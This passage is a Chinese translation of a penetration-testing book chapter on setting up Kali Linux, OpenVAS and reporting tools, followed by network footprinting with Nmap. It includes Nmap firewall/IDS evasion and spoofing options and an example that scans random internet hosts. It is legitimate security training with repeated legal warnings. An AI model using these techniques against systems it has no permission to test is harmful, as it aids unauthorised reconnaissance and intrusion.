警告。小心选择 USB 驱动器而不是本地驱动器。如果选择本地驱动器,将会擦除该驱动器上的操作系统。注意:在接下来的窗口中,您可以看到 USB 驱动器和 VMware 虚拟磁盘。虚拟磁盘是用于此演示的虚拟机的硬盘。

  1. 选择 USB 驱动器并单击“继续”。

  1. 在下一个窗口中,您将被要求如何对驱动器进行分区。选择默认选项并单击“继续”。

接下来,您将被要求保存分区信息,并开始分区过程。

当您单击“继续”时,磁盘上的所有数据都将丢失。单击“是”,然后单击“继续”。

这将启动磁盘加密和分区过程。首先,驱动器将被完全擦除和加密。这将需要一些时间。喝杯咖啡,或者更好的是,出去散散步。1TB 驱动器需要大约 30 小时才能加密。64GB 驱动器需要大约 30 分钟。

在下一个窗口中,您将被要求为驱动加密创建一个密码。您在启动 Kali 时将使用此密码。请注意术语密码

使用一些长而易于记忆的东西:一首歌的一行歌词或一句诗或引用!越长越好!玛丽有一只小羊,牵着它去了城里。即使这个短语中没有数字,John the Ripper 也需要一个多月的时间才能破解。

接下来,您将被要求确认这些更改。选择完成分区并将更改写入磁盘,然后点击继续

现在系统将开始分区过程。

分区过程完成后,系统安装将开始。USB 是一个慢协议,甚至与 ATA 硬盘相比,所以现在是暖茶的时候了。

接下来,您将被问及是否要使用网络镜像。在这上点击!这将选择靠近您位置的存储库镜像,并在以后更新系统时加快更新速度。

您的安装过程现在将完成,并且将要求您重新启动系统。在重新启动之前,请务必删除安装光盘。

启动您的新安装的 Kali

现在我们准备启动 Kali。将 Kali USB 驱动器插入计算机并启动。在启动过程开始时,您将有能力手动选择启动驱动器。具体的按键将取决于您的计算机类型和制造商。无论您的计算机使用什么过程,您将得到一个可用启动驱动器的菜单。选择 USB 驱动器并继续。系统启动时,将出现一个要求输入密码的屏幕。这是您在安装过程中选择的密码。这不是 root 登录密码。输入密码并按Enter键。

这将从现在未加密的驱动器启动系统的实际启动过程。一旦系统启动,您将看到以下登录屏幕。以下屏幕是您安装 Kali Linux 的 e17 版本后看到的。

在 e17 版本中,您可以使用 root 凭据登录到终端模拟器屏幕,然后输入startx打开 GUI。

以下屏幕截图是您安装标准 Gnome3 版本后看到的。

在标准的 Gnome3 GUI 安装中,您将看到一个GUI 桌面管理器GDM)登录截图如下:

黑客技巧

在我们继续之前,我们建议您只在您已经获得授权测试的系统上使用这些工具,或者您个人拥有的系统上使用这些工具。在未经授权测试的计算机上使用这些工具是违反各种联邦和州法律的。当您被抓到时,您将被监禁。黑客的判决往往是非常长的。

获取公司接收的测试豁免的个人副本,以允许他们测试客户的网络和系统。此文档应包含测试的日期和时间以及要测试的 IP 地址和/或网络。这是您测试的范围。这个文档是您的免于监禁的牌。没有这个文档不要进行测试。

现在说完了,让我们登录并继续设置。以下屏幕截图显示了 Gnome3 桌面。

第一次登录时,请检查一切是否都是最新的。由于这是一个滚动发行版,几乎总会有一些更新。有几种方法可以进入终端仿真器:

  1. 通过单击左上角的应用程序菜单栏中的终端窗口。转到应用程序|常用应用程序|系统工具|终端。

  2. 在相同的应用程序菜单中,转到应用程序|收藏夹|终端。

  3. 您可能会注意到收藏夹菜单也显示为桌面左侧的按钮栏。单击终端按钮。

  4. 在裸机安装(而不是虚拟机安装)中,您可以按Alt + F2打开运行对话框,然后键入gnome-terminal

任何一种方法都应该打开终端或命令行窗口。键入以下内容:

root@kalibook :~#  apt-get update  

这将刷新更新列表并检查新的更新。接下来,运行:

root@kalibook :~#  apt-get -y upgrade  

这将作为-y自动回答升级的升级过程。系统将升级所有应用程序。如有必要,重新启动。

从 Live DVD 运行 Kali

从 Live Disk 运行 Kali Linux 最适合进行取证或恢复任务。Live Disk 不会向计算机的硬盘写入任何内容。某些工具,例如OpenVAS,根本无法工作,因为它们必须进行配置并且文件更新必须保存。您无法从 DVD 上执行此操作。

要从 DVD 运行 Kali,只需将光盘放入您正在测试的机器中并从中启动。您将看到以下屏幕。这是您在本章的前一节中选择图形安装程序的屏幕。我们现在将讨论选项。请注意,从 DVD 启动现场有几个选项。

  • 从第一个选项启动将加载具有工作网络堆栈的 Kali。您可以使用此选项通过网络运行许多工具。此模式的最佳用途之一是恢复死机的机器。在操作系统驱动器死机后,它可能允许您恢复崩溃的机器。无论您对 fsck 和其他磁盘实用程序做了什么,它都不会自行恢复。如果您从现场 DVD 启动,然后运行 fsck,很可能可以使驱动器恢复到足够的状态以从中复制数据。然后,您可以使用 Kali 将数据从驱动器复制到网络上的另一台机器。

  • 从第二个选项启动将启动 Kali,没有运行的服务和没有网络堆栈。当系统真的出现问题时,这个选项很好。也许它被闪电击中,网络接口卡受损。您可以在此模式下执行上述操作并将数据复制到已挂载的 USB 驱动器中。

  • 第三个选项是取证模式。使用此选项启动时,它会尽量不触及机器本身。不会启动任何驱动器,并且与正常启动不同,内存不会完全刷新。这允许您捕获上次启动的旧内存,并允许您对任何驱动器进行取证复制,而实际上不触及数据。您没有工作的网络堆栈或运行的服务。

  • 从第四和第五个选项启动需要您将 Kali 安装到 USB 驱动器上并从 USB 驱动器运行它。当您从 USB 启动时,您将看到相同的屏幕,但您将选择其中一个选项。有关带持久性选项的 USB,请参阅列出的链接(kali.org/prst)以获取出色的教程。

  • 如果您熟悉 Linux 命令行,您可能需要第六个选项。这是Debian Ncurses安装程序。它具有图形安装程序的所有功能,但缺少图形安装程序的现代外观。您还可以使用此安装程序以选项完全安装到加密的 USB。步骤都是一样的。

  • 图形安装用于直接安装到硬盘,并且,如我们的演示所示,您还可以使用它来对 USB 或闪存驱动器进行完全安装。

安装和配置应用程序

大多数你需要的东西都预装在 Kali 上。如果您在特定领域使用 Kali,Kali 在tools.kali.org/kali-metapackages页面提供了特定类别工具的列表,如下截图所示:

这是一个有用的数据源,但它可能会让你的生活变得有点复杂,因为它会迫使你做出选择。我们发现了一些有用的应用程序,这些应用程序在基本安装中没有加载。我们还将设置和配置 OpenVAS,用作我们的漏洞扫描器。

Gedit- Gnome 文本编辑器

Kali 默认的文本编辑器是Leafpad。这是一个非常轻量级的文本编辑器。Kali 的桌面是基于 Gnome 的,Gnome 文本编辑器Gedit是一个更好的编辑器。安装:

root@kalibook :~#  apt -y install gedit  

安装完成后,您将在常用应用程序|附件下找到它。

Geany-跨平台代码 IDE

Geany 是 Wolf 最喜欢的文本编辑器/集成开发环境。它具有很强的字符串编辑能力,以及自动代码标签闭合和高亮功能。最后,它可以在从 Kali 到 Windows 的任何平台上运行。拥有一个在您接触的所有平台上都能够运行的编辑器,可以节省时间。来自 Geany 项目网站(www.geany.org/Main/About)的一些其他功能如下:

  • 构建系统来编译和执行您的代码

  • 代码折叠

  • 代码导航

  • 构建完成/片段

  • 符号名称自动完成

  • 支持的文件类型包括 C、Java、PHP、HTML、Python、Perl 等

  • 符号列表

  • 简单的项目管理

  • 插件接口

安装:

root@kalibook :~#  apt -y install geany  

安装完成后,您将在常用应用程序|编程下找到它。

以下截图显示了 Geany 在 Kali Linux 上的实现。请注意代码高亮和包含的终端以显示输出。

Terminator-多任务终端仿真器

这是 Bo 最喜欢的终端应用程序。您可以将屏幕分成几个窗口。当同时运行多个 SSH 会话时,这将成为一个很大的帮助。它还具有广播功能,您可以同时在所有窗口中运行相同的字符串。以下是来自终结者网站(gnometerminator.blogspot.com/p/introduction.html)的一些主要功能:

  • 将终端排列成网格

  • 标签

  • 拖放重新排序终端

  • 键盘快捷键

  • GUI 首选项编辑器,可让您保存多个布局和配置文件

安装:

    root@kalibook :~#  apt -y install terminator

Etherape-图形协议分析工具

这是一个很棒的视觉被动/主动网络嗅探工具。它非常适用于嗅探 Wi-Fi 网络。它会显示服务运行的位置,还可以显示用户正在进行可疑的比特流下载等行为,这些行为在大多数公司网络上都是不被允许的。

安装:

root@kalibook :~#  apt -y install etherape 

设置和配置 OpenVAS

侦察就是一切,因此一个好的漏洞扫描器是必不可少的。Kali 以前是预装了 OpenVAS 的。现在你必须安装 OpenVAS。

安装:

root@kalibook :~#  apt -y install openvas  

在使用之前必须进行配置和更新。幸运的是,Kali 带有一个有用的脚本来设置这一点。这可以在应用程序|漏洞分析|openvas 初始设置下找到。单击这个将打开一个终端窗口并为您运行脚本。这将为 SSL 设置自签名证书并下载最新的漏洞文件和相关数据。它还将为系统上的管理员帐户生成一个密码。

确保保存此密码;您将需要它进行登录。您可以在第一次登录后更改它。

Kali 还配备了一个设置脚本,用于检查服务和配置。如果出现问题,它将提供有关问题的帮助信息。此脚本可以在应用程序 | 系统服务 | openvas check setup 中找到。

单击此按钮,将打开一个终端窗口并运行脚本。

脚本结果如下截图所示:

请注意,此检查显示服务的运行端口。检查显示警告,表明这些服务仅在本地接口上运行。这对您的工作来说是可以接受的。在某些时候,您可能会发现将 OpenVAS 服务器运行在其他机器上以提高扫描速度是有用的。

接下来,我们将登录到 Greenbone web 界面,检查 Openvas。

  1. 打开浏览器,转到https://localhost:9392。您将看到一个自签名证书的安全警告;接受它,您将看到一个登录屏幕,如下所示:

  1. 您将使用用户名admin和在设置期间生成的非常长且复杂的密码登录。别担心,一旦登录,我们就会更改密码。登录后,您将看到以下页面。

  2. 现在转到 Administration | Users 选项卡,如下所示:

这将带您到用户管理页面。

  1. 单击名称admin旁边的扳手链接;这将打开管理员用户的编辑页面。

  1. 将使用现有值的单选按钮更改为空字段;添加新密码并单击保存按钮。

我们现在已经完成了 OpenVAS 的设置,并准备做一些真正的工作。

报告测试

清晰的文档有助于报告您的工作。我们使用两种文档工具来保持文档的组织:

  • KeepNote

  • Dradis

文档组织者不仅仅是一个被吹捧的文本编辑器或弱的文字处理器。正确的文档需要有组织的文件结构。当然,Windows 安全分析师可以创建一个让他们在 Kali Linux 中组织文档的文件夹结构,就像他们在 Windows 工作站上一样。文档组织应用程序内置了这些功能,并且使用它们可以减少丢失或意外递归文件夹的机会。更容易跟踪您的调查文档。您还可以为目录结构创建模板,以便您可以标准化结构,这也会让您的工作更容易。

KeepNote - 独立文档组织者

KeepNote是一个更简单的工具,如果您是独自工作,它就足够了。要找到 KeepNote,打开应用程序菜单,然后点击应用程序 | 常用应用程序 | 办公 | KeepNote。下面的截图显示了一个类似于记录短测试的 KeepNote 设置。

黑客笔记

要编辑图像,如前面的截图所示,打开终端并键入:

**root@kalibook: ~# apt install gimp**

**然后将图像从您的工作图像目录拖到 keepnote 目录中。**

Dradis - 基于 Web 的文档组织者

Dradis是一个 Web 应用程序,可用于与团队共享文档。Dradis 的默认 URL 是https://127.0.0.1:3004。该应用程序可以托管在远程安全服务器上,这是 Dradis 的最佳功能。以下截图来自dradisframework.org

在 Kali Linux 上运行的服务

当您需要时,您会希望启动几个服务。在 Windows 和 Linux 中,服务的一般用途是在计算机启动时启动它们。除非出现问题,大多数管理员很少花时间管理服务。在 Kali 系统中,您倾向于在实际进行安全分析任务时关闭工作站,并且您肯定不希望您在工作站上拥有的安全工具,如 OpenVAS 或 Metasploit,可以通过互联网访问。这意味着您会在需要时启动它们,并在不使用它们时关闭它们。

您可以从应用程序菜单—应用程序|系统服务中找到启动和停止 Kali 服务的命令

另一种处理服务的方法是在命令行上使用systemctl。例如,考虑 HTTP(Apache2)。有几个服务选项:

  • 开始: 这将启动 Apache web 服务器并显示进程 IDPID.

  • 状态: 显示服务器的状态。它是启动的吗?它是关闭的吗?它卡住了吗?

  • 重新启动: 将服务器关闭并在不同的 PID 上重新启动。如果服务器卡住或者您已更改服务器依赖的网络进程,请使用此选项。

  • 重新加载: 重新读取配置。当您对配置进行轻微更改时,请使用此选项。

  • 停止: 关闭 web 服务器。

以下屏幕截图显示了对 apache2 web 服务器进行状态请求的apache2ctlsystemctl的比较。可能可以写一本关于强大的systemctl命令的整本书。

总结

本章向您展示了两种设置 Kali Linux 的方法,以便您可以使用公司发放的 Windows 笔记本电脑或任何其他笔记本电脑,以便更好地发挥 Kali Linux 的性能,而不必为 Kali 专门购置新设备。大多数企业不允许您在计算机上进行双重启动,并且在虚拟机上运行 Kali 会限制 Kali 安装的资源。此外,本章向您展示了我们使用的两种报告工具,以及每种工具最合适的情况。我们向您展示了如何首次设置 OpenVAS。我们还向您展示了如何在 Kali Linux 上运行服务。

第三章:信息收集和漏洞评估

有一个误解,认为所有的 Windows 系统都很容易受到攻击。这并不完全正确。几乎任何 Windows 系统都可以加固到需要花费太长时间才能利用其漏洞的程度。在本章中,你将学习如何对你的 Windows 网络进行足迹识别,并在坏人之前发现漏洞。

你还将学习调查和映射你的 Windows 网络,找到易受攻击的 Windows 系统。在某些情况下,这将增加你对前 10 个安全工具的了解;在其他情况下,我们将向你展示全新的工具来处理这类调查。

我们将在本章中涵盖以下主题:

  • 对网络进行足迹识别

  • Nmap 命令选项的注释列表

  • 使用 OpenVAS

  • 使用 Maltego

  • 使用 KeepNote

技术要求

要跟着本章进行学习,你需要以下内容:

  • 运行的 Kali Linux 版本

  • 一些需要扫描的网络上的 Windows 主机

对网络进行足迹识别

没有一张好地图,你就无法找到路。在本章中,我们将学习如何收集网络信息并评估网络上的漏洞。在黑客世界中,这被称为足迹识别。这是任何正当的黑客行动的第一步。这是你将节省时间和大量头痛的地方。

没有对目标进行足迹识别,你只是在盲目射击。任何优秀的渗透测试人员工具箱中最重要的工具是你的心态。你必须有狙击手的心态。你要了解你的目标习惯和行为。你要了解目标所在网络的流量流向。你要找到目标的弱点,然后攻击这些弱点。搜索和摧毁!

为了进行良好的足迹识别,你必须使用 Kali 提供的几个工具。每个工具都有其优势,并从不同角度观察目标。对目标的多个视角,可以制定更好的攻击计划。

足迹识别将根据你的目标是外部公共网络上的还是内部局域网上的而有所不同。我们将涵盖这两个方面。

对公共网络上的机器进行扫描和使用这些工具,如果你没有书面许可访问,那就是一种联邦犯罪。

在这本书中,对于大多数 Kali Linux 实例,我们将使用专门为本书构建的在VMwareOracle VirtualBox上运行的虚拟机。我们日常使用的 Kali 实例都经过了相当大的定制,涵盖这些定制需要整本书的篇幅。对于外部网络,我们将使用互联网上的几台实时服务器。

请尊重并不要攻击这些地址,其中两个是 Bo 的个人服务器,还有几个在亚特兰大云技术服务器集群中。

请再次阅读前面的说明,并记住你没有我们的许可攻击这些机器。如果你做不到,就不要犯罪

Nmap

谈论网络就不能不谈Nmap。Nmap 是网络管理员的瑞士军刀。它不仅是一个很好的足迹识别工具,也是任何系统管理员都可以拥有的最好和最便宜的网络分析工具。它真的是网络分析的瑞士军刀:

  • 这是一个检查单个服务器端口是否正常运行的好工具

  • 它可以心跳 ping 整个网络段或网络上的几台主机

  • 它甚至可以在 ICMP(ping)被关闭时发现机器

  • 它可以用来压力测试服务。如果机器在负载下冻结,就需要修理

Nmap 是由 Gordon Lyon 于 1997 年创建的,他在互联网上使用 Fyodor 这个名号。Fyodor 仍在维护 Nmap,并可以从insecure.org下载。您还可以在该网站上订购他关于 Nmap 的书。这是一本很棒的书。物有所值!Fyodor 和 Nmap 黑客已经在该网站上收集了大量信息和安全电子邮件列表。由于您正在运行 Kali Linux,您已经安装了完整的 Nmap!

以下是针对 Kali Linux 实例运行 Nmap 的示例:

  1. 从顶部栏的图标或单击菜单链接打开终端:应用程序 | 附件 | 终端。如果您愿意,也可以选择 Root 终端,但由于您已经以 Root 身份登录,您不会看到任何区别。

  2. 在命令提示符中键入nmap -A 10.0.0.4。(您需要输入要测试的机器的 IP。)

  3. 输出显示了 1,000 个常用端口中的开放端口。在这个例子中,没有开放端口,所以为了使其更有趣,可以执行以下操作。

  4. 通过输入/etc/init.d/apache2 start来启动内置的 Web 服务器。

  5. 启动 Web 服务器后,再次运行 Nmap 命令,如下:nmap -A 10.0.0.4

  6. 如您所见,Nmap 正在尝试发现操作系统并告诉 Web 服务器版本:

以下是在 Git Bash 应用程序中运行 Nmap 的示例,该应用程序允许您在 Windows 桌面上运行 Linux 命令。此视图显示了 Nmap 的一个很好的功能。如果您感到无聊或焦虑,并认为系统扫描时间太长,您可以按下箭头键,它将打印出一个状态行,告诉您扫描完成的百分比。这与告诉您扫描还剩多少时间不同,但它确实让您了解已经完成了多少工作:

Nmap 也作为 Windows 可安装应用程序提供给您的 Windows 机器。如果您是网络或系统管理员,您会发现这是一个很好的工具,不仅用于足迹识别,还用于系统和网络故障排除。对于其他系统,您可以在nmap.org/download.html找到 Nmap 安装程序。

Zenmap

Nmap 附带一个名为Zenmap的图形用户界面。Zenmap 是 Nmap 应用程序的友好图形界面。您可以在 Kali Linux | 信息收集 | 网络扫描仪 | Zenmap 下找到 Zenmap。界面如下所示:

Zenmap 的一个很酷的功能是,当您使用按钮设置扫描时,应用程序还会写出命令行版本的命令,这将帮助您学习在命令行模式下使用 Nmap 的命令行标志。

黑客提示:

大多数黑客在 Linux 命令行界面CLI)上非常熟悉。您希望在命令行上学习 Nmap 命令,因为您可以在自动化的 bash 脚本中使用 Nmap,并创建 cron 作业以使常规扫描变得更简单。您可以设置一个 cron 作业在非高峰时段运行测试,当网络较为安静时,您的测试对网络的合法用户影响较小。

强烈扫描选项会生成一个命令行nmap -T4 -A -v

  • 这将产生一个快速扫描;T代表时间(从 1 到 5),默认时间是-T3。时间越快,测试越粗糙,如果网络正在运行入侵检测系统IDS),则越有可能被检测到。

  • 进行深度端口扫描,包括操作系统识别和尝试查找监听端口的应用程序以及这些应用程序的版本。-A代表全部。

  • 最后,-v代表冗长。-vv表示非常冗长。

在下面,我们看到一个下拉框中列出了最常见的扫描方式:

冗长性的差异

下面的三个截图展示了冗长在 OS 扫描中的差异。OS 扫描包括隐形扫描,因此nmap -O hostnamenmap -sS -O hostname是完全相同的。

通过点击拓扑标签,然后点击主机查看器按钮,您可以得到一个主机的好列表。通过点击地址,您可以看到每个主机的详细信息。请注意,地址是不同的颜色。Nmap 为您挑出了最容易的目标。绿色表示安全,而黄色和红色表示有漏洞或服务,可能会被利用。

这里的冗长版本已经稍作调整,以适应截图中的所有细节。当将-v-vv选项添加到搜索字符串时,不同的扫描选项会有不同的增强内容。当您选择一些可能的目标时,使用-v-vv是有意义的。

扫描网络范围

如果网络关闭了 ICMP,尝试对机器进行 ping 测试会花费很长时间。几乎和对目标机器的 UDP 端口进行 ping 测试一样长。对于任何一种情况,每台机器大约需要 75 秒每个端口。在第一种情况下,这意味着对六台机器进行 ping 测试需要 450 秒才能失败。UDP 搜索测试每台机器的端口要多得多。在标准 UDP 端口扫描中测试了 1,000 个端口,你将需要大约 21 小时才能测试 UDP。如果没有一个真正好的理由使用 Nmap 检查 UDP 端口,这不是一种具有成本效益的做法。

Zenmap 还具有一个用于比较扫描结果的很好的功能。您可以在菜单栏中找到它,路径是 Tools | Compare Results。在下面的截图中,您将看到我们对网络运行了两次扫描。当我们比较这两次扫描时,我们可以看到在第二次扫描中发现了一台新机器。在第一次扫描的结果中,它标记为红色,并显示192.168.202.131为关闭。当它是绿色时,它显示为开启,并显示了开放的端口和系统信息。

在下一个截图中,我们在冗长标志中添加了另一个v(-vv)并重新运行了扫描。正如我们所看到的,关于系统和扫描的更多信息被输出。

如果您有一个大型网络,只想找到 Windows 机器,以便专注于 Windows 漏洞,您可以使用以下命令运行快速扫描:nmap -T4 -F 10.0.0.0/24。或者,您可以选择快速扫描 Plus,输入nmap -sV -T4 -O -F -version-light 10.0.0.0/24。这将让您对哪些机器真正感兴趣有一个很好的了解。看起来10.0.0.12是一台 Windows 机器,因为五个开放端口中有四个是与 Windows 相关的。

以下截图是从命令行运行 Nmap 的结果。正如您之前看到的,Nmap 已经移植到了 Windows。如果您的公司允许,Nmap 可以通过命令行在 Windows 系统上运行,可以在命令窗口或通过 Windows PowerShell 运行。

当您查看拓扑标签时,可以通过更改窗口底部控件的值来调整组的大小。通过增加兴趣因素来增加图形的大小。标准视图将本地主机放在组的中心,但如果单击其他主机中的一个,它将被带到中心,如下所示:

Nmap 命令选项的注释列表

即使 Zenmap 有一个简短,有力的下拉列表,列出了流行和有用的扫描,但您可以使用各种命令和选项来自定义扫描。

您在哪里可以找到有关此事的说明?

在 Linux 框中,有三个地方可以找到有关命令行应用程序的更多信息:

  • 帮助页面:几乎所有的 Unix 和 Linux 应用程序都有一个帮助文件,您可以通过在命令行上输入应用程序名称和-h来访问。考虑以下示例:root@kali-01: ~# nmap -h

  • man 页面:这是大多数现代命令行应用程序的完整手册,您可以通过在命令行上键入man和应用程序名称来访问。看以下示例:root@kali-01: ~#-。这会为您提供如何使用 Rsync 的相当好的解释,这是安全和记录的文件传输协议。man 页面的质量不一,其中许多实际上是由火箭科学家编写的,因此新手可能需要研究如何阅读手册页面才能对他们有用。Nmap 的 man 页面写得很清楚,有可理解的示例可供尝试。

  • 信息页面:对于 Bash shell 内置命令,有一组信息页面,而不是 man 页面。要查看信息页面,请键入info和应用程序名称。例如,root@kali-01: ~# info ls将为您呈现 ls 命令的信息页面,这是 DOS 中 DIR 命令的 Linux 版本。

-h命令会在终端窗口中呈现内联文本,因此在信息滚动过去后,您会立即返回到命令提示符。maninfo命令启动文本阅读器Less,因此您可以在文档上下滚动,即使您仍然在终端窗口中。要从Less中退出,只需按 Q 键。

Shift 键是 Linux 终端模拟器中的好朋友。

如果您想在终端窗口中上下滚动,例如,如果-h帮助文件比单个屏幕长,只需按住 Shift +上或下光标键。

复制和粘贴的热键序列分别是Shift + Ctrl + CShift + Ctrl + VCtrl + C意味着关闭 Bash Shell 中正在运行的应用程序,Ctrl + V则根本不起作用。

Nmap 6.47 帮助文件可以在nmap.org找到。

用法nmap [扫描类型] [选项] {目标规范}
目标规范
例如atlantacbudtech.comaarrrggh.com/26192.168.3.11110.1-16.0-255.1-254
- -L <inputfilename>
- -R <num hosts>
- -exclude <host1,[host2],[host3],...>
- -exludefile <exclude_file>
主机发现
- -sL
- -sn
- -Pn
- -PS/PA/PU/PY [portlist]
- -PE/PP/PM
- -PO [protocol list]
- -n/-R

解析 DNS 可以为您提供有关网络的更多信息,但它会产生 DNS 请求流量,这可能会提醒系统管理员有一些不太正常的事情正在发生,特别是如果他们在网络中没有使用 DNS。

这是 Nmap 带有我们的注释的帮助文件视图(您可以在nmap.org/book/man/的手册页面找到更多信息):

  • --dns-servers <serv1[,serv2],...>:指定自定义 DNS 服务器。

  • --system-dns:使用操作系统的 DNS 解析器。这是默认行为。

  • --traceroute:跟踪到每个主机的跳数路径。这只在大型,复杂,分段的网络中才有意义。

扫描技术:

  • -sS/sT/sA/sW/sM:TCP SYN/Connect()/ACK/Window/Maimon 扫描

  • -sU:UDP 扫描

  • -sN/sF/sX:TCP Null,FIN 和 Xmas 扫描

  • --scanflags <flags>:自定义 TCP 扫描标志

NS-ECN-nonce 隐瞒保护(这是实验性的:有关更多信息,请参阅 RFC 3540)。

  • CWR:拥塞窗口减小。用于指示正在减小数据包大小以在拥塞的网络条件下维持流量。

  • ECE:ECN-Echo 具有双重作用,取决于 SYN 标志的值:

  • 如果 SYN 标志设置(1),则表示 TCP 对等方支持 ECN。

  • 如果 SYN 标志清除(0),则表示在正常传输期间接收到 IP 标头中设置了拥塞经历标志的数据包(这是由 RFC 3168 添加到标头中的)。

  • URG:这表示紧急指针字段很重要。

  • ACK:这表示确认字段很重要。

  • PSH:推送功能。要求将缓冲数据推送到接收应用程序。

  • RST:重置连接。

  • SYN:同步序列号。

  • FIN:发送方不再有数据。

  • -sI <zombie host[:probeport]>:空闲扫描。

  • -sY/sZ:SCTP INIT/COOKIE-ECHO 扫描。

  • -sO:IP 协议扫描。

  • -b <FTP relay host>:FTP 反弹扫描。

端口规范和扫描顺序:

-p <端口范围>:仅扫描指定端口。

例如,考虑以下代码:-p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9

  • -F:快速模式-扫描比默认扫描更少的端口

  • -r:连续扫描端口-不随机化

  • --top-ports <number>:扫描最常见的端口

  • --port-ratio <ratio>:扫描比给定的<ratio>更常见的端口

服务/版本检测:

  • -sV:探测开放端口以确定服务/版本信息

  • --version-intensity <level>:设置从 0(轻)到 9(尝试所有探测)的强度

  • --version-light:限制为最可能的探测(强度 2)

  • --version-all:尝试每个单独的探测(强度 9)

  • --version-trace:显示扫描活动的详细版本(用于调试)

脚本扫描:

  • -sC:等同于-script=default

  • --script=<Lua scripts><Lua scripts>是一个逗号分隔的目录,脚本文件或脚本类别列表

  • --script-args=<n1=v1,[n2=v2,...]>:为脚本提供参数

  • --script-args-file=filename:在文件中提供 NSE 脚本参数

  • --script-trace:显示发送和接收的所有数据

  • --script-updatedb:更新脚本数据库

  • --script-help=<Lua scripts>:显示有关脚本的帮助

  • <Lua scripts>是一个逗号分隔的脚本文件或脚本类别列表

操作系统检测:

  • -O:启用 OS 检测

  • --osscan-limit:将 OS 检测限制为有希望的目标

  • --osscan-guess:更积极地尝试猜测操作系统

时间和性能:

指定时间间隔的选项以秒为单位,或者我们可以在值后附加'ms'(毫秒),'s'(秒),'m'(分钟)或'h'(小时)。例如,23ms将被翻译为 23 毫秒。

  • -T<0-5>:设置时间模板(更高表示更快,也更吵)

  • --min-hostgroup/max-hostgroup <size>:并行主机扫描组大小

  • --min-parallelism/max-parallelism <numprobes>:探测并行化

  • --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>:指定探测往返时间

  • --max-retries <tries>:限制端口扫描探测的重传次数

  • --host-timeout

  • --scan-delay/--max-scan-delay

  • --min-rate :每秒发送的数据包不慢于

  • --max-rate :每秒发送的数据包不超过

防火墙/IDS 规避和欺骗:

  • -f; --mtu :分段数据包(可选带有给定的 MTU)

  • -D <decoy1,decoy2[,ME],...>:用伪装物隐藏扫描

  • -S <IP_Address>:欺骗源地址

  • -e :使用指定的接口

  • -g/--source-port :使用给定的端口号

  • --proxies <url1,[url2],...>:通过 HTTP/SOCKS4 代理中继连接

  • --data-length :向发送的数据包附加随机数据

  • --ip-options :发送带有指定 IP 选项的数据包

  • --ttl :设置 IP 生存时间字段

  • --spoof-mac <mac address/prefix/vendor name>:欺骗您的 MAC 地址

  • --badsum:发送带有虚假 TCP/UDP/SCTP 校验和的数据包

输出:

  • -oN/-oX/-oS/-oG :将扫描以正常、XML、s|<rIpt kIddi3 和 grepable 格式输出到给定的文件名

  • -oA :同时以三种主要格式输出

  • -v:增加详细级别(使用-vv或更高级别效果更好)

  • -d:增加调试级别(使用-dd或更高级别效果更好)

  • --reason:显示端口处于特定状态的原因

  • --open:仅显示打开(或可能打开)的端口

  • --packet-trace:显示发送和接收的所有数据包

  • --iflist:打印主机接口和路由(用于调试)

  • --log-errors:将错误/警告记录到正常格式的输出文件

  • --append-output:追加到指定的输出文件,而不是覆盖

  • --resume :恢复中止的扫描

  • --stylesheet <path/URL>:使用 XSL 样式表将 XML 输出转换为 HTML

  • --webxml:从 nmap.org 引用样式表以获得更便携的 XML

  • --no-stylesheet:防止将 XSL 样式表与 XML 输出关联

杂项:

  • -6:启用 IPv6 扫描。

  • -A:启用操作系统检测、版本检测、脚本扫描和跟踪路由。这是-sS -sV --traceroute -O的快捷方式。这是 Wolf 最喜欢的扫描选项。

  • --datadir :指定自定义 Nmap 数据文件位置。

  • --send-eth/--send-ip:使用原始以太网帧或 IP 数据包发送。

  • --privileged:假设用户完全具有特权。

  • --unprivileged:假设用户缺少原始套接字权限。

  • -V:打印 Nmap 版本号。与其他选项一起使用无效。

  • -h:打印帮助摘要页面。

示例:

nmap -v -A boweaver.com
nmap -v -sn 192.168.0.0/16 10.0.0.0/8
nmap -v -iR 10000 -Pn -p 80  

您可以构建自定义的 Nmap 扫描字符串并将其复制到 Zenmap 中,以便享受 Zenmap 界面的好处。

使用 OpenVAS

在第二章中,我们为漏洞扫描设置了 OpenVAS。Nmap 在报告端口和服务方面做得很好,但缺乏扫描漏洞的能力。OpenVAS 将发现漏洞并对系统进行报告。OpenVAS 的人员每周更新他们的漏洞列表,因此最好在运行扫描之前更新 OpenVAS。要在 Kali 上执行此操作,请从终端窗口运行以下命令:

root@kalibook : ~ # OpenVAS-nvt-sync  

这将为 OpenVAS 运行漏洞更新。第一次运行时,您将看到以下截图中可见的信息,要求您迁移到使用 Rsync 来更新漏洞。键入Y并按Enter键。更新将开始。第一次运行此命令时,需要相当长的时间,因为它必须提供完整的插件和可用测试列表。在随后运行update命令时,它只会添加新的或更改的数据,并且速度要快得多:

您还需要运行以下命令:

root@kalibook : ~ # OpenVAS-scapdata-sync  

更新完成后,我们已经准备就绪。现在让我们启动 OpenVAS 服务。转到应用程序 | Kali Linux | 系统服务 | OpenVAS | 启动 OpenVAS。一个终端窗口将打开,您将看到相关服务正在启动。一旦它们启动,您可以关闭此窗口并转到以下链接:https://localhost:9392

何时不使用 OpenVAS?

在一些公司网络中,已经有了可以用来扫描漏洞的扫描服务。除非您怀疑官方公司扫描工具未正确配置以适应搜索范围,或者未更新以包括对最新漏洞的搜索,否则没有必要重复进行扫描。诸如 Qualys、Nexpose 和 Nessus 之类的扫描工具都是很好的扫描工具,可以完成与 OpenVAS 相同的任务。所有这些服务都以 XML 格式导出其数据,然后可以将其导入到诸如 Metasploit 之类的工具中。

现在,使用在设置步骤中生成的极长且复杂的密码登录 OpenVAS Web 界面。通常,用户是admin

现在是一个很好的时机,去管理选项卡并将密码更改为仍然复杂但更容易记住的内容。

要运行您的第一次扫描,只需将要扫描的网络子网或单个 IP 地址输入到扫描文本框中,然后点击按钮开始扫描。这个小极客女巫会为您设置几个正常参数并运行扫描。您还可以设置自定义扫描,甚至安排在特定日期和时间运行作业:

一旦扫描开始,您将看到以下屏幕。此时,您将看到它标记为“已请求”,大约一分钟后屏幕将刷新,您将看到进度条开始移动。根据您要扫描的网络大小,您可以去喝杯咖啡,吃顿饭,明天回来,或者周末离开。这将需要一些时间。值得注意的是,在整个过程中,您无需紧挨着点击“下一步”按钮。

现在扫描已经完成,您将看到一个类似以下的屏幕。转到扫描管理选项卡,然后在下拉菜单中选择报告。这将带您到报告页面,如下所示:

报告页面将向您提供扫描结果,将发现的漏洞从最严重到最低进行分类,如下所示:

